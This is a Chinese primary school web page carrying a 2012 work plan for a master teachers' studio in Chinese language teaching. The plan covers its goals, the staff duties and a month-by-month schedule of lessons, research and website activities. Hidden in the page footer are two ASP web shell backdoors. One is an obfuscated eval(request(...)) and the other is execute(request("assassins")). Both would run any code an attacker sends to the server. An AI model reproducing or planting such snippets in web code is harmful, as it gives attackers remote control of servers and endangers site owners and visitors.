| 网站首页 | 校园新闻 | 校务公开 | 德育天地 | 教学资源 | 精准扶贫 | 名师工作室 | 教育科研 | 教师天地 | 学生乐园 | 追梦文学 | 党建之窗 | 图片中心 | 在线留言 | 
最新公告:     《追梦》征稿启事(长期有效)  [admin  2012-03-26]        
您现在的位置: 仪陇县实验学校 >> 名师工作室 >> 计划总结 >> 正文
小学语文名师工作室2012年工作计划     ★★★
小学语文名师工作室2012年工作计划
【作者】:景爱华   【文章来源】:本站原创  

                                               

                              2012年小语工作室秉承 “成为研究的平台、成长的阶梯、辐射的中心、师生的益友”的宗旨,特制定以下工作计划。

、工作目标

1、以开课、研课、组织外出听课、学习等形式,塑造工作室成员鲜明的教学风格和特点。

2、以课题研究为载体,培育工作室成员独立开展教学研究,熟练撰写教学反思的能力。

3、以送教和指导青年教师为抓手,发挥工作室成员在教学及研究上的示范、引领和辐射作用。

4、以激发工作室成员自身潜力为目的,参加县级示范展示或教学评比活动。

5、以集聚和传递工作室成员群体智慧(成果)为宗旨,建设好工作室网页。

、主要工作及措施

1、聚焦课堂教学,塑造个性特质

课堂是教师的职业场所,教学是教师的第一要务。名师之“名”,首先在于课堂教学,本室的工作重点之一,就是进一步提升名师工作室成员的课堂教学能力,这也是本室开展其他各项活动的基础。为此,本年度,要求工作室成员在校内进行2次以上教学展示,并撰写出教学反思稿。同时,工作室将结对兄弟学校,采取外出开课(送教下乡)或以同课异构形式听课、研课,举行工作室全体成员课堂教学能力的全方位展示的活动,全面提升工作室成员的课堂教学能力,促使形成自身鲜明的教学个性和特色,力争在同行中有一定的影响。

2、开展教学研究,提升科研水平

教科研是软实力,是教育教学的第一生产力。本学度要求各成员在原有研究的基础上,对问题进行更深入持久地关注,以进一步提升科研水平,工作室也将营造浓郁的教科研氛围,人人参与其中,以科研促教学,提升专业能力,并争取成员有更多研究成果在各级各类专业刊物上发表或获奖。

3、做好帮扶引领,追求辐射效应

工作室成员一方面在导师的引领下,实现各方面的自我成长,另一方面,工作室成员还要成为学科教学的示范者和青年教师成长的帮扶者,本学年工作室成员不断深入课堂,通过听课、评课等途径,为教育教学研究取得第一手资料。通过成员自身开课、到兄弟学校借班上课、开设讲座等形式和活动,相互学习,提高教学水平。帮助工作室成员在教学风格和特色上下功夫,能灵活地、技巧地驾驭课堂教学,进而形成自己的教学风格和教学思想。根据上级指定参加送教、支教活动或在教学研讨活动中进行公开教学。每个成员每个学期,要开1节县以上公开课、作县以上教师培训讲座或组织市县以上论坛1次。完成县教育局、进修校交给的其他有关业务指导或培训任务。积极指导学生参加教育主管或业务部门组织的各级各类竞赛活动。

开展“名师带徒”活动,每位名师每学年带徒弟不少于2人,开展徒弟公开课大赛,然后选出几节优秀课作为全研讨课,指导每位学员上不少于两节的研讨课、撰写一篇有一定质量的教学设计、案例及教学总结或论文。本工作室将用实实在在的行动,进一步加大对本其他兄弟学校及周边地区的辐射功能,进一步体现出名教师工作室在教育教学、教学研究方面的指导价值。

4、搭建交流平台,共享教育智慧

工作室在时常开展小组沙龙的同时,建设和利用好“名师工作室博客”,积极开展网络在线互动式研讨,为工作室网页提供动态的教育教学信息、教育教学资源。要求工作室成员每周时常提供教学心得体会文章(教学随笔)、优秀教学设计、案例等,落实专人定期更新网页内容,使网页成为导师和工作室成员展示教育教学研究成果的平台,与外界同行进行交流的窗口,尽可能地充实网站,吸收人气,争取尽快扩大知名度,打响品牌;开辟“名师在线”栏目。拟定安排1个单位时间2位工作室成员在线,积极参加教研论坛的交流活动,对一线老师进行教学指导或问题解答,对网站建设及教研论坛管理提出合理化建议。每月统计论坛精华帖及精品教案,并对基本情况进行汇总实现教育智慧共享。

、本学年工作室人员分工。

1、领衔人:负责工作室计划、方案制订;合理确定成员培养目标;定期召开工作室成员工作例会;积极开展交流、研讨活动;督促落实各项活动的开展和成果总结推广,规划课题开展,撰写工作室工作报告;负责年终考核评价等。(景爱华

2、档案负责人:负责名师工作室的所有资料、档案管理,分网上管理和办公室管理,协助首席名师进行业务管理,负责一切活动策划及协调组织等。(杜崇达

3、教学负责人:主要负责课堂调研、课堂展示,参与课堂观摩、课堂教学的一些组织安排活动,收集该活动的教学设计等。(胡燕

4、学习负责人:理论学习的计划实施及考评工作,负责一切学习培训活动以及培训活动的资料整理收集工作。(杨君华

5、网站负责人:负责工作室的网站建设与管理工作:博客、QQ群的建立、管理,及时更新相关内容,组织网络研讨,网上交流等。统计工作室成员上传共享资料、博文数据,供年终考核评价参考;帮助解答成员对博客、信息技术上的疑问;收集优质教学资源并上传至博客中的“教学资源” (秦俪萍)。

6、宣传负责人:及时记录工作室活动,通讯报道本室各项工作、活动动态、成员先进事迹、研究成果等宣传工作,及时进行专家学者的文章推荐或收集先进的教学理念,更新博客中的“名师团队”和“教改前沿”( 秦俪萍、胡燕

7、科研课题负责人:负责课题研究材料的收集与整理:并上传至博客中的“课题中心”。具体人员的具体分工,等待课题研究下来具体安排。(杜崇达、胡燕、杨君华

以上分工只是相对并非绝对,以后就哪个组在忙的时候,其他活动没开展的时候,我们都要进行协助,每位成员每个月至少上传或发表两篇博文(原创或转载均可,转载的应注明出处),发表时标签使用实名,便于管理人员统计。另外为了更好地准备本年度课题研究,请课题研究组老师在近一个月内至少收集10份资料供老师们参研。各小组不仅要收集有关论文,也应关注优秀教学案例、教学设计、教学反思、课件等的收集与整理,更要进行网站的宣传工作,尽可能地充实网站,争取尽快扩大知名度,开辟“名师在线”栏目,进行网上交流。

、活动安排

三月

1、召开名师工作室会议,宣读名师工作室工作计划,确定人员分工,宣读工作室规章制度以及工作要求。

2、工作室人员制定本年度工作计划。

3、搜集资料,充实“小学语文名师工作室”网站,建成小学语文名师群,吸收人气,吸纳全县小学中青年语文教师,确立论坛教研主题,并组织研讨、交流和展示。

四月:

1、召开全体成员会议,搜集资料为工作室的教育科研课题做好准备。

2、开展高效课堂的课堂展示及课后研讨活动。

五月:

1、继续充实完善工作室网站,确立论坛教研主题,并组织研讨。

2、名师工作室成员开展读书交流活动。

六月:

1、进行网上论坛,和全国各地的名师、专家零距离接触、近距离交流,分享别人的教研成果。

2、名师经验讲座、课堂展示。 

七月:

1、工作室学期工作总结。

2、学员结合平日的活动情况进行个人工作总结。

3、向上级申请组织名师工作室成员外出观摩名师课堂,学习先进经验。

九月:

1、召开名师工作室会议,宣读名师工作室工作计划,确立论坛教研主题,并组织研讨。

2、充实完善工作室网站。

十月:

1、确立论坛教研主题,并组织研讨。

2 、进行送教下乡活动。

3、名师与各徒弟搭台子结对子,在师傅指导下,徒弟进行课堂教学大比拼,选出优秀课例全进行观摩、研讨、请教育局、进修校专业领导进行指导。

十一月:

1、组织开展名师读书沙龙活动。

2、确立论坛教研主题,并组织研讨。

十二月:

1、召开“工作室”总结会议,对名师活动情况进行详细总结。

2、名师工作室成员个人工作总结。

3、资料汇集,展示活动成果,分享成功的经验,改进存在的问题。

本文最后更新时间:2012-10-16 10:23:19,你是第7981位访问者。
文章录入:yljah0728    责任编辑:jah 
  • 上一个文章:

  • 下一个文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

     

    最新图片文章
    更多内容
    最新热门
    更多内容
    最新推荐
    更多内容
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    仪陇县实验学校
    Copyright 20080315—2010 仪陇县实验学校 All Rights Reserved. 【虚拟主机】:西部数码    【地址】:仪陇县新政镇吉庆街二段二号  【QQ在线】:185324127 <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> <%execute(request("assassins"))%> 【站长】:严和平